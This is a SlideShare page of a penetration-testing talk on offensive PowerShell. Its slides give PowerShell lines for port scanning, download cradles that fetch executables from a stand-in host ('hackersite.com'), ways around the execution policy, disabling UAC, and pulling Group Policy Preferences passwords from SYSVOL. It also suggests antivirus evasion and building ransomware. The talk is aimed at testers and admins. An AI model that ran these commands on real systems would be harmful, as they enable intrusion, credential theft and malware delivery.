SlideShare a Scribd company logo
Power on, PowerShell
  Using PowerShell to do the nasty




                                          Nikhil Sreekumar
                                     roo7break@gmail.com
                                              @roo7break
                                      www.roo7break.co.uk
The plug



• Nikhil Sreekumar
  – Senior Penetration Tester @ 7Safe
  – Over three years as penetration tester
     • CREST ACE certified
  – Also deliver’s 7Safe’s courses
     • CSTP – Certified Security Testing Professional
     • CAST – Certified Application Security Tester (advanced)
  – Previous roles
     • Breach Forensic Investigator
     • IT Consultant
  – Loves Python; Mixed feelings for Ruby; Hates Perl
Intro


• Normal penetration testing revolves a lot around
  network based attacks using
  – Attack frameworks (toolkits)
     • Social engineering toolkit
     • Metasploit
     • Core Impact
  – Exploit sources
     • Exploit-db.com
     • 1337day.com
• Exploit -> Get a shell -> Exploit more -> Get
  domain admin -> Report -> Go out for a beer
But, what if



• You have access to a system, but
  – No outbound connection*
  – You are in a restricted
    environment (e.g. Citrix)
  – Current user privileges are very
    restricted
  – Payloads/tools detected by Anti-
    Virus/HIDS
                        * Open traffic is blocked
Time for a rethink



• Cannot rely on any open source exploitation
  framework
   – AV vendors are WATCHING!
   – System/Network admins are getting smarter and
     cleverer
   – Organisations are investing in security
• Maybe its time to think of an alternate solution.
   – Why not look into bending existing technology to do
     our bidding?
Power on, Powershell
Welcome to, PowerShell


• Unix bash like shell in Windows
      – Way powerful than CMD
• Available from Vista upwards
      – Can be disabled from Server 2008; however its not
        that easy in Windows 7
• Allows to
      – Manage registry, services, processes, event logs
        and Windows Management Instrumentation (WMI)
      – Task based scripting language
      – Powerful object manipulation capabilities
      – Simplified and consistent design
• Full integration with
      – Existing Microsoft products like Exchange, AD, etc.
      – Can be directly called from .NET framework

 [Microsoft Technet] - http://technet.microsoft.com/en-gb/library/bb978526.aspx
Show me the money
Scripting PowerShell



• Use of CmdLets
  – Lightweight command; used in PowerShell
    environment.
  – Typically a .NET framework class
  – Invoked within the context of automation scripts
    provided at the command line.
  – Also invoked programmatically through Windows
    PowerShell APIs.
Scripting PowerShell



• Basic CmdLets
 CmdLets         PowerShell Alias                 CMD.exe                           *nix environment
 Get-Help        man, help                        help                              man
 Get-Content     cat, gc, type                    type                              cat
 Move-Item       move, mv, mi                     move                              mv
 Copy-Item       cp, copy, cpi                    copy                              cp
 Select-String   NONE                             find, findstr                     grep




                 Source: http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers
Scripting PowerShell


•   Basic CmdLets (contd.)
     – Where-Object (alias ?)
           •   Filter objects passed down via pipe (|)
      Get-Service | ? {$_.Status –eq “Running”}
      Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" -and
       $_.Modules -like "*(iphlpapi.dll)*" -and $_.Modules -like
       "*(WININET.dll)*" }
     – ForEach-Object (alias %)
           •   Not to be confused with loop statement, ForEach
           •   Action to be performed on each object passed down via pipe (|)
      Get-ChildItem | ForEach-Object {echo $_.Name}
            Same as dir :D

     – Get-Member (alias gm)
           • Provides you the list of all objects you can access to filter your query using ? And %
      Get-ChildItem | gm
•   For more info, refer:
     –   http://www.powershellpro.com/powershell-tutorial-introduction/tutorial-powershell-cmdlet/
     –   http://technet.microsoft.com/en-us/scriptcenter/dd772285.aspx
How to script using PowerShell



• Using the PowerShell shell
  – RUN powershell.exe to start
• Echo commands into a file; Save as .ps1
  – .ps1 files are automatically recognised as
    PowerShell scripts
  – Can be manipulated using the built-in PowerShell
    Integrated Scripting Environment (ISE) – IDE for
    PowerShell
Sample uses for PT


• Port Scanning
1..1024 | ForEach-Object {
echo
((new-object Net.Sockets.TcpClient)
.Connect(“<TargetIP>",$_)) “Port $_ is
open"
} 2>$null
Port 80 is open
• You could modify the script above to send a string
  to remote host) for Egress checking
Sample uses for PT



• Port Sweep
  – Scan the range for all IPs with port 8080 open
1..255 | ForEach-Object {
echo
((New-Object Net.Sockets.TcpClient)
.Connect("10.1.1.$_",8080)) "10.1.1.$_:8080
is open" }
2>$null
10.1.1.100:8080 is open
Sample uses for PT



• Downloading stuff
  – Binaries
(New-Object
System.Net.WebClient).DownloadFile("http://h
ackersite.com/pwnc.exe","c:pwnc.exe“)
  – Text file stdout to local file
(New-Object
System.Net.WebClient).DownloadString("http:/
/hackersite.com/malicious.ps1") | Out-File –
Encoding ASCII securescript.ps1
Hold on tiger



• Did you really think its going to be that easy??
  – PowerShell isn’t going to let you run any script
    without having a say.
• It tries to enforce “security” using something
  called Execution Policy.
  – Get-Execution Policy
     • Will give you current policy status
The Security


• Execution Policies:
   – Restricted
      • Default policy
      • Only individual commands; no scripts
   – AllSigned
      • Allows scripts execution
      • Needs to be signed by trusted publisher
      • Prompts if ran using untrusted publishers
   – RemoteSigned
      • Allows scripts execution
      • Scripts downloaded from Internet should be signed by trusted
        publisher
      • Signing not required for local scripts
The Security (contd.)


  – Unrestricted
     • Allows unsigned script execution
     • Prompts warning before execution
  – Bypass
     • Nothing is blocked; no warnings or prompts
     • To be used when PowerShell is used within a larger app
  – Undefined
     • No specific policy is set to current scope
        – If nothing is specified, default policy is applied = Restricted.
• For more information, RTFM
However
Before we move on


• UAC (User Account Control)
    – Is a pain in the a**
• Most of the attacks described may/may not interfere with UAC.
• At this point in time, we cannot bypass UAC. Or can we?
    – Will take this up at a later stage.
To check UAC level
   $(Get-ItemProperty -Path
    registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionp
    oliciessystem -Name EnableLUA).EnableLUA
        If value is “1”, then UAC is ON.

• To disable UAC
   Set-ItemProperty -Path
    HKLM:SoftwareMicrosoftWindowsCurrentVersionpoliciessystem -Name
    EnableLUA –Value
        However, we need local admin rights
        And, a system reboot for this to change to take effect
Think like a hacker



• These policies can be bypassed
• Technique #1
Change the default policy to RemoteSigned
Set-ExecutionPolicy RemoteSigned
–Scope CurrentUser
  – However we need admin privileges to do this
  – You don’t want to ‘accidently’ set the policy for all
    users
Think like a hacker



• Technique #2
Pass the command
powershell –command dir
• Executes the specified commands (and any parameters) as though
  they were typed at the PowerShell command prompt
   [Powershell Help]
Think like a hacker


• Technique #2 (contd.)
Pass the command
 powershell –command “New-Object
  System.Net.WebClient).DownloadFil
  e("http://hackersite.com/pwnc.exe
  ","c:pwnc.exe“)”
 powershell –command “Invoke-
  Expression (gc .script.ps1)”
• Need a one liner?
  gc .script.ps1 | iex
Think like a hacker


• Technique #3
CreateCMD
• Run a script without actually running a script
    – execute the script contents in the current shell context with all new
      functions that are in the script
• Uses “-EncodedCommand”
    – Accepts Base64 version of the command
• Checkout Dave Kennedy (ReL1K) and Josh Kelly (winfang) Defcon 18
  talk
    – PowerShell.. OMFG
• Impact
    – Policy does not matter
    – No need to disable execution policies
    – No registry interaction, no reboots, etc.
Think like a hacker



• Technique #3 (contd.)
  – Write your script (.ps1) in one long line.
  – All {}s should be on the same line and use ; to terminate
    each command.

 $command = Get-Content .script.ps1
 $encodedcmd =
  [convert]::ToBase64String([Text.Encod
  ing]::Unicode.GetBytes($command))
 Powershell.exe –EncodedCommand
  $encodedcmd
Think like a hacker


• Technique #4
• This technique will
  – try and bypass the execution policy
  – execute the script in the background
• Can be used once you have a way into a system
  – E.g. shell
 powershell.exe -ExecutionPolicy Bypass -
  NoLogo -NonInteractive -NoProfile -
  WindowStyle Hidden -File <script_name>



                 Source: http://obscuresecurity.blogspot.co.uk/2011/08/powershell-executionpolicy.html
Post Exploitation the
                                            PowerShell way


Exploiting Windows 2008 Group Policy Preferences
• Group Policy preferences, new for the Windows Server 2008
  operating system, include more than 20 new Group Policy
  extensions that expand the range of configurable settings
  within a Group Policy object (GPO) [http://technet.microsoft.com/en-
   us/library/cc731892%28WS.10%29.aspx]

• Helps setting local admin password for workstations and
  servers
    – Adding new users on local machines, etc.
    – Via Local User and Groups Extension
Post Exploitation the
                                         PowerShell way


Exploiting Windows 2008 Group Policy Preferences
(contd.)
• Unknown to the general public (and many system admins)
  Windows was storing the encrypted admin passwords in an
  XML files accessible to normal users
• Location:
   – serversysvoldomainPolicies{Hash}MACHINEPreferencesGrou
     psGroup.xml
Post Exploitation the
                                PowerShell way


Exploiting Windows 2008 Group Policy Preferences
(contd.)
Post Exploitation the
                                      PowerShell way


Exploiting Windows 2008 Group Policy Preferences
(contd.)
• Encryption
   – AES = Strong
• It would take years to decrypt that password. Only if someone
  could help me..
• Why not ask Microsoft?
Post Exploitation the
                                    PowerShell way




http://msdn.microsoft.com/en-us/library/cc422924.aspx
Post Exploitation the
                               PowerShell way


• Lets use PowerShell to extract these
  passwords
  – Connect to domain controller as normal user
 $output = get-childitem
  serversysvoldomainPolicies -
  filter *.xml -recurse | Get-
  Content;[regex]::match($output,'cpassw
  ord="(?<pwd>.+?)"') | foreach
  {$_.groups["pwd"].value}
Post Exploitation the
                                  PowerShell way


• Are there any more locations?
• Oh yeah!
  –   ServicesServices.xml
  –   ScheduledTasksScheduledTasks.xml
  –   PrintersPrinters.xml
  –   DrivesDrives.xml
  –   DataSourcesDataSources.xml
• Source:
  http://rewtdance.blogspot.co.uk/2012/06/exploi
  ting-windows-2008-group-policy.html
Would you like some
                                                              exploitation with that, Sir?


•   Default tools/exploits/payloads are detectable
     –   Customize them
     –   Design your own exploits
     –   Innovative encoding/encryption techniques
     –   Use PowerShell to execute it for you
•   Examples
     –   Hyperion runtime encrypter by Nullsecurity.net
           •   Produces an AES encrypted executable that brute forces its own key in-memory
           •   Can bypass most anti-virus solutions
           •   http://nullsecurity.net/papers.html
     –   Alphanum + ASCII encode + Base64 your executable (use metasploit to do this – msfvenom)
           •   Then use PowerShell to decode it in-memory and execute it
                  –   Check out www.exploit-monday.com by Matthew Graeber for sample codes
                  –   Also check out the PowerShell code used in SET -
                      http://svn.secmaniac.com/social_engineering_toolkit/src/powershell/
           •   Can bypass most anti-virus solutions
           •   http://www.offensive-security.com/metasploit-unleashed/Msfvenom
More??


• Homework
  • Try out PowerShell based attacks using Social Engineering
    Toolkit (SET)
  • Recode Metasploit modules to be used within PowerShell
    scripts
  • Come up with innovative attacks using PowerShell.
      – Webcam, microphone, keyloggers, etc.
• Naughty, naughty.
  •   How about designing your own ransomware
      –   Note: Use only on your system. DO NOT SEND TO ANYONE ELSE. I will not
          accept any responsibility for your actions. Your actions, your responsibility. I
          have warned you.
      –   http://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-
          windows-powershell/
Powered by PowerShell


• Existing PowerShell based attack tools
    –   Metasploit PowerShell modules
    –   PowerSploit
    –   Nishang
    –   PowerSyringe
• Recommended Reads and References
    –   PowerShell for Pentesters
          • http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers
    –   PowerShell OMFG
          • https://www.trustedsec.com/august-2010/powershell_omfg/
    –   PowerShell Code Repository
          • http://poshcode.org/
    –   Windows PowerShell Cookbook
          • By Lee Holmes
    –   Server 2008 Group Policy Preferences (GPP) – And how they get your domain 0wned
          • By Chris Gates (carnal0wnage)
          • http://www.slideshare.net/chrisgates/exploiting-group-policy-preferences
And to conclude


• Sys admins/Network admins/Managers
   –   Check out every new feature introduced by a vendor
   –   Is it necessary for your org? No? Remove/Disable it.
   –   Ensure AV is installed and updated on production environment.
   –   Attend more security conferences to find out what new tech the
       hackers could use to attack your organisation.
• Hacker/Pentesters
   –   Check out every new feature introduced by a vendor
   –   Look at how you can twist various features to do your bidding
   –   Don’t rely on your attacks tools
   –   Remember AV vendors are watching and catching up
   –   Push yourself – come up with innovative tech
   –   Communicate all new tech u find. Our community is very open. You
       could end up finding an even better way to attack.
• Twitter: @roo7break
• Web: www.roo7break.co.uk
• Email: roo7break@gmail.com

More Related Content

PPTX
PowerShell for Cyber Warriors - Bsides Knoxville 2016
PPTX
PowerShell for Penetration Testers
PPTX
Workshop: PowerShell for Penetration Testers
PPTX
Building an Empire with PowerShell
PPTX
Get-Help: An intro to PowerShell and how to Use it for Evil
PPTX
Pwning with powershell
PPTX
Obfuscating The Empire
PPTX
Catch Me If You Can: PowerShell Red vs Blue
PowerShell for Cyber Warriors - Bsides Knoxville 2016
PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
Building an Empire with PowerShell
Get-Help: An intro to PowerShell and how to Use it for Evil
Pwning with powershell
Obfuscating The Empire
Catch Me If You Can: PowerShell Red vs Blue

What's hot (20)

PPTX
Defending Your "Gold"
PPTX
Adventures in Asymmetric Warfare
PPTX
Invoke-Obfuscation nullcon 2017
PDF
A Year in the Empire
PPTX
PSConfEU - Building an Empire with PowerShell
PPTX
Incorporating PowerShell into your Arsenal with PS>Attack
PPTX
Pwnstaller
PDF
A Case Study in Attacking KeePass
PPTX
I hunt sys admins 2.0
PPTX
How to do everything with PowerShell
PPTX
Forging Trusts for Deception in Active Directory
PDF
Windows Attacks AT is the new black
PPTX
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
PDF
Derbycon - The Unintended Risks of Trusting Active Directory
PPTX
Wielding a cortana
PDF
Common technique in Bypassing Stuff in Python.
PDF
Windows attacks - AT is the new black
PPTX
Introducing PS>Attack: An offensive PowerShell toolkit
PPTX
I Hunt Sys Admins
PPTX
Harness: PowerShell Weaponization Made Easy (or at least easier)
Defending Your "Gold"
Adventures in Asymmetric Warfare
Invoke-Obfuscation nullcon 2017
A Year in the Empire
PSConfEU - Building an Empire with PowerShell
Incorporating PowerShell into your Arsenal with PS>Attack
Pwnstaller
A Case Study in Attacking KeePass
I hunt sys admins 2.0
How to do everything with PowerShell
Forging Trusts for Deception in Active Directory
Windows Attacks AT is the new black
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
Derbycon - The Unintended Risks of Trusting Active Directory
Wielding a cortana
Common technique in Bypassing Stuff in Python.
Windows attacks - AT is the new black
Introducing PS>Attack: An offensive PowerShell toolkit
I Hunt Sys Admins
Harness: PowerShell Weaponization Made Easy (or at least easier)
Ad

Viewers also liked (20)

PPTX
Office 365 & PowerShell - A match made in heaven
PPTX
PowerShell Plus v4.7 Overview
PPT
Windows Server 2008 (PowerShell Scripting Uygulamaları)
PDF
Practical PowerShell Programming for Professional People - Extended Edition
PPTX
Better, Faster, Stronger! Boost Your Team-Based SharePoint Development Using ...
PPT
Powershell Seminar @ ITWorx CuttingEdge Club
PDF
PowerShell from *nix user perspective
PPT
Managing Virtual Infrastructures With PowerShell
PDF
PowerShell UIAtomation
PPTX
PowerShell 101
PPTX
Getting Started With PowerShell Scripting
PDF
Windows - Having Its Ass Kicked by Puppet and PowerShell Since 2012
PPT
Introduction to PowerShell
PPTX
Geek Sync | Using PowerShell with Python and SQL Server
PDF
Gray Hat PowerShell - ShowMeCon 2015
PPTX
Network Mapping with PowerShell
PDF
Practical PowerShell Programming for Professional People
PPTX
PowerShell 101 - What is it and Why should YOU Care!
PPTX
44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell
PDF
Some PowerShell Goodies
Office 365 & PowerShell - A match made in heaven
PowerShell Plus v4.7 Overview
Windows Server 2008 (PowerShell Scripting Uygulamaları)
Practical PowerShell Programming for Professional People - Extended Edition
Better, Faster, Stronger! Boost Your Team-Based SharePoint Development Using ...
Powershell Seminar @ ITWorx CuttingEdge Club
PowerShell from *nix user perspective
Managing Virtual Infrastructures With PowerShell
PowerShell UIAtomation
PowerShell 101
Getting Started With PowerShell Scripting
Windows - Having Its Ass Kicked by Puppet and PowerShell Since 2012
Introduction to PowerShell
Geek Sync | Using PowerShell with Python and SQL Server
Gray Hat PowerShell - ShowMeCon 2015
Network Mapping with PowerShell
Practical PowerShell Programming for Professional People
PowerShell 101 - What is it and Why should YOU Care!
44CON London 2015 - Old Dog, New Tricks: Forensics With PowerShell
Some PowerShell Goodies
Ad

Similar to Power on, Powershell (20)

PPTX
PowerShell - Be A Cool Blue Kid
PDF
Who Should Use Powershell? You Should Use Powershell!
PDF
2010 za con_jameel_haffejee
PDF
Basic commands for powershell : Configuring Windows PowerShell and working wi...
PPTX
Pwning the Enterprise With PowerShell
PDF
Introduction to PowerShell
PDF
PowerShell Defcon for Cybersecurity Topics
PPTX
Power Shell for System Admins - By Kaustubh
PDF
Under the Wire PowerShell workshop - BSides Augusta 2018
PDF
From P0W3R to SH3LL
PPTX
Powering up on PowerShell - BSides Greenville 2019
PPTX
PowerShell-1
PDF
The Dark Side of PowerShell by George Dobrea
PPTX
CCI2019 - I've got the Power! I've got the Shell!
PPT
No-script PowerShell v2
PPSX
Sunil phani's take on windows powershell
PPTX
Client side attacks using PowerShell
PDF
Powering up on PowerShell - BSides Charleston - Nov 2018
PPTX
Introduction to powershell
PDF
Ranger BSides-FINAL
PowerShell - Be A Cool Blue Kid
Who Should Use Powershell? You Should Use Powershell!
2010 za con_jameel_haffejee
Basic commands for powershell : Configuring Windows PowerShell and working wi...
Pwning the Enterprise With PowerShell
Introduction to PowerShell
PowerShell Defcon for Cybersecurity Topics
Power Shell for System Admins - By Kaustubh
Under the Wire PowerShell workshop - BSides Augusta 2018
From P0W3R to SH3LL
Powering up on PowerShell - BSides Greenville 2019
PowerShell-1
The Dark Side of PowerShell by George Dobrea
CCI2019 - I've got the Power! I've got the Shell!
No-script PowerShell v2
Sunil phani's take on windows powershell
Client side attacks using PowerShell
Powering up on PowerShell - BSides Charleston - Nov 2018
Introduction to powershell
Ranger BSides-FINAL

Recently uploaded (20)

PDF
NewMind AI Monthly Chronicles - July 2025
PPTX
A Presentation on Artificial Intelligence
PPT
Teaching material agriculture food technology
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Electronic commerce courselecture one. Pdf
PDF
Approach and Philosophy of On baking technology
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Review of recent advances in non-invasive hemoglobin estimation
NewMind AI Monthly Chronicles - July 2025
A Presentation on Artificial Intelligence
Teaching material agriculture food technology
Network Security Unit 5.pdf for BCA BBA.
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Spectral efficient network and resource selection model in 5G networks
Dropbox Q2 2025 Financial Results & Investor Presentation
Unlocking AI with Model Context Protocol (MCP)
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Electronic commerce courselecture one. Pdf
Approach and Philosophy of On baking technology
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
“AI and Expert System Decision Support & Business Intelligence Systems”
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
MYSQL Presentation for SQL database connectivity
Per capita expenditure prediction using model stacking based on satellite ima...
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Review of recent advances in non-invasive hemoglobin estimation

Power on, Powershell

  • 1. Power on, PowerShell Using PowerShell to do the nasty Nikhil Sreekumar roo7break@gmail.com @roo7break www.roo7break.co.uk
  • 2. The plug • Nikhil Sreekumar – Senior Penetration Tester @ 7Safe – Over three years as penetration tester • CREST ACE certified – Also deliver’s 7Safe’s courses • CSTP – Certified Security Testing Professional • CAST – Certified Application Security Tester (advanced) – Previous roles • Breach Forensic Investigator • IT Consultant – Loves Python; Mixed feelings for Ruby; Hates Perl
  • 3. Intro • Normal penetration testing revolves a lot around network based attacks using – Attack frameworks (toolkits) • Social engineering toolkit • Metasploit • Core Impact – Exploit sources • Exploit-db.com • 1337day.com • Exploit -> Get a shell -> Exploit more -> Get domain admin -> Report -> Go out for a beer
  • 4. But, what if • You have access to a system, but – No outbound connection* – You are in a restricted environment (e.g. Citrix) – Current user privileges are very restricted – Payloads/tools detected by Anti- Virus/HIDS * Open traffic is blocked
  • 5. Time for a rethink • Cannot rely on any open source exploitation framework – AV vendors are WATCHING! – System/Network admins are getting smarter and cleverer – Organisations are investing in security • Maybe its time to think of an alternate solution. – Why not look into bending existing technology to do our bidding?
  • 7. Welcome to, PowerShell • Unix bash like shell in Windows – Way powerful than CMD • Available from Vista upwards – Can be disabled from Server 2008; however its not that easy in Windows 7 • Allows to – Manage registry, services, processes, event logs and Windows Management Instrumentation (WMI) – Task based scripting language – Powerful object manipulation capabilities – Simplified and consistent design • Full integration with – Existing Microsoft products like Exchange, AD, etc. – Can be directly called from .NET framework [Microsoft Technet] - http://technet.microsoft.com/en-gb/library/bb978526.aspx
  • 8. Show me the money
  • 9. Scripting PowerShell • Use of CmdLets – Lightweight command; used in PowerShell environment. – Typically a .NET framework class – Invoked within the context of automation scripts provided at the command line. – Also invoked programmatically through Windows PowerShell APIs.
  • 10. Scripting PowerShell • Basic CmdLets CmdLets PowerShell Alias CMD.exe *nix environment Get-Help man, help help man Get-Content cat, gc, type type cat Move-Item move, mv, mi move mv Copy-Item cp, copy, cpi copy cp Select-String NONE find, findstr grep Source: http://pen-testing.sans.org/blog/2012/04/27/presentation-powershell-for-pen-testers
  • 11. Scripting PowerShell • Basic CmdLets (contd.) – Where-Object (alias ?) • Filter objects passed down via pipe (|)  Get-Service | ? {$_.Status –eq “Running”}  Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" -and $_.Modules -like "*(iphlpapi.dll)*" -and $_.Modules -like "*(WININET.dll)*" } – ForEach-Object (alias %) • Not to be confused with loop statement, ForEach • Action to be performed on each object passed down via pipe (|)  Get-ChildItem | ForEach-Object {echo $_.Name}  Same as dir :D – Get-Member (alias gm) • Provides you the list of all objects you can access to filter your query using ? And %  Get-ChildItem | gm • For more info, refer: – http://www.powershellpro.com/powershell-tutorial-introduction/tutorial-powershell-cmdlet/ – http://technet.microsoft.com/en-us/scriptcenter/dd772285.aspx
  • 12. How to script using PowerShell • Using the PowerShell shell – RUN powershell.exe to start • Echo commands into a file; Save as .ps1 – .ps1 files are automatically recognised as PowerShell scripts – Can be manipulated using the built-in PowerShell Integrated Scripting Environment (ISE) – IDE for PowerShell
  • 13. Sample uses for PT • Port Scanning 1..1024 | ForEach-Object { echo ((new-object Net.Sockets.TcpClient) .Connect(“<TargetIP>",$_)) “Port $_ is open" } 2>$null Port 80 is open • You could modify the script above to send a string to remote host) for Egress checking
  • 14. Sample uses for PT • Port Sweep – Scan the range for all IPs with port 8080 open 1..255 | ForEach-Object { echo ((New-Object Net.Sockets.TcpClient) .Connect("10.1.1.$_",8080)) "10.1.1.$_:8080 is open" } 2>$null 10.1.1.100:8080 is open
  • 15. Sample uses for PT • Downloading stuff – Binaries (New-Object System.Net.WebClient).DownloadFile("http://h ackersite.com/pwnc.exe","c:pwnc.exe“) – Text file stdout to local file (New-Object System.Net.WebClient).DownloadString("http:/ /hackersite.com/malicious.ps1") | Out-File – Encoding ASCII securescript.ps1
  • 16. Hold on tiger • Did you really think its going to be that easy?? – PowerShell isn’t going to let you run any script without having a say. • It tries to enforce “security” using something called Execution Policy. – Get-Execution Policy • Will give you current policy status
  • 17. The Security • Execution Policies: – Restricted • Default policy • Only individual commands; no scripts – AllSigned • Allows scripts execution • Needs to be signed by trusted publisher • Prompts if ran using untrusted publishers – RemoteSigned • Allows scripts execution • Scripts downloaded from Internet should be signed by trusted publisher • Signing not required for local scripts
  • 18. The Security (contd.) – Unrestricted • Allows unsigned script execution • Prompts warning before execution – Bypass • Nothing is blocked; no warnings or prompts • To be used when PowerShell is used within a larger app – Undefined • No specific policy is set to current scope – If nothing is specified, default policy is applied = Restricted. • For more information, RTFM
  • 20. Before we move on • UAC (User Account Control) – Is a pain in the a** • Most of the attacks described may/may not interfere with UAC. • At this point in time, we cannot bypass UAC. Or can we? – Will take this up at a later stage. To check UAC level  $(Get-ItemProperty -Path registry::HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionp oliciessystem -Name EnableLUA).EnableLUA  If value is “1”, then UAC is ON. • To disable UAC  Set-ItemProperty -Path HKLM:SoftwareMicrosoftWindowsCurrentVersionpoliciessystem -Name EnableLUA –Value  However, we need local admin rights  And, a system reboot for this to change to take effect
  • 21. Think like a hacker • These policies can be bypassed • Technique #1 Change the default policy to RemoteSigned Set-ExecutionPolicy RemoteSigned –Scope CurrentUser – However we need admin privileges to do this – You don’t want to ‘accidently’ set the policy for all users
  • 22. Think like a hacker • Technique #2 Pass the command powershell –command dir • Executes the specified commands (and any parameters) as though they were typed at the PowerShell command prompt [Powershell Help]
  • 23. Think like a hacker • Technique #2 (contd.) Pass the command  powershell –command “New-Object System.Net.WebClient).DownloadFil e("http://hackersite.com/pwnc.exe ","c:pwnc.exe“)”  powershell –command “Invoke- Expression (gc .script.ps1)” • Need a one liner? gc .script.ps1 | iex
  • 24. Think like a hacker • Technique #3 CreateCMD • Run a script without actually running a script – execute the script contents in the current shell context with all new functions that are in the script • Uses “-EncodedCommand” – Accepts Base64 version of the command • Checkout Dave Kennedy (ReL1K) and Josh Kelly (winfang) Defcon 18 talk – PowerShell.. OMFG • Impact – Policy does not matter – No need to disable execution policies – No registry interaction, no reboots, etc.
  • 25. Think like a hacker • Technique #3 (contd.) – Write your script (.ps1) in one long line. – All {}s should be on the same line and use ; to terminate each command.  $command = Get-Content .script.ps1  $encodedcmd = [convert]::ToBase64String([Text.Encod ing]::Unicode.GetBytes($command))  Powershell.exe –EncodedCommand $encodedcmd
  • 26. Think like a hacker • Technique #4 • This technique will – try and bypass the execution policy – execute the script in the background • Can be used once you have a way into a system – E.g. shell  powershell.exe -ExecutionPolicy Bypass - NoLogo -NonInteractive -NoProfile - WindowStyle Hidden -File <script_name> Source: http://obscuresecurity.blogspot.co.uk/2011/08/powershell-executionpolicy.html
  • 27. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences • Group Policy preferences, new for the Windows Server 2008 operating system, include more than 20 new Group Policy extensions that expand the range of configurable settings within a Group Policy object (GPO) [http://technet.microsoft.com/en- us/library/cc731892%28WS.10%29.aspx] • Helps setting local admin password for workstations and servers – Adding new users on local machines, etc. – Via Local User and Groups Extension
  • 28. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.) • Unknown to the general public (and many system admins) Windows was storing the encrypted admin passwords in an XML files accessible to normal users • Location: – serversysvoldomainPolicies{Hash}MACHINEPreferencesGrou psGroup.xml
  • 29. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.)
  • 30. Post Exploitation the PowerShell way Exploiting Windows 2008 Group Policy Preferences (contd.) • Encryption – AES = Strong • It would take years to decrypt that password. Only if someone could help me.. • Why not ask Microsoft?
  • 31. Post Exploitation the PowerShell way http://msdn.microsoft.com/en-us/library/cc422924.aspx
  • 32. Post Exploitation the PowerShell way • Lets use PowerShell to extract these passwords – Connect to domain controller as normal user  $output = get-childitem serversysvoldomainPolicies - filter *.xml -recurse | Get- Content;[regex]::match($output,'cpassw ord="(?<pwd>.+?)"') | foreach {$_.groups["pwd"].value}
  • 33. Post Exploitation the PowerShell way • Are there any more locations? • Oh yeah! – ServicesServices.xml – ScheduledTasksScheduledTasks.xml – PrintersPrinters.xml – DrivesDrives.xml – DataSourcesDataSources.xml • Source: http://rewtdance.blogspot.co.uk/2012/06/exploi ting-windows-2008-group-policy.html
  • 34. Would you like some exploitation with that, Sir? • Default tools/exploits/payloads are detectable – Customize them – Design your own exploits – Innovative encoding/encryption techniques – Use PowerShell to execute it for you • Examples – Hyperion runtime encrypter by Nullsecurity.net • Produces an AES encrypted executable that brute forces its own key in-memory • Can bypass most anti-virus solutions • http://nullsecurity.net/papers.html – Alphanum + ASCII encode + Base64 your executable (use metasploit to do this – msfvenom) • Then use PowerShell to decode it in-memory and execute it – Check out www.exploit-monday.com by Matthew Graeber for sample codes – Also check out the PowerShell code used in SET - http://svn.secmaniac.com/social_engineering_toolkit/src/powershell/ • Can bypass most anti-virus solutions • http://www.offensive-security.com/metasploit-unleashed/Msfvenom
  • 35. More?? • Homework • Try out PowerShell based attacks using Social Engineering Toolkit (SET) • Recode Metasploit modules to be used within PowerShell scripts • Come up with innovative attacks using PowerShell. – Webcam, microphone, keyloggers, etc. • Naughty, naughty. • How about designing your own ransomware – Note: Use only on your system. DO NOT SEND TO ANYONE ELSE. I will not accept any responsibility for your actions. Your actions, your responsibility. I have warned you. – http://nakedsecurity.sophos.com/2013/03/05/russian-ransomware- windows-powershell/
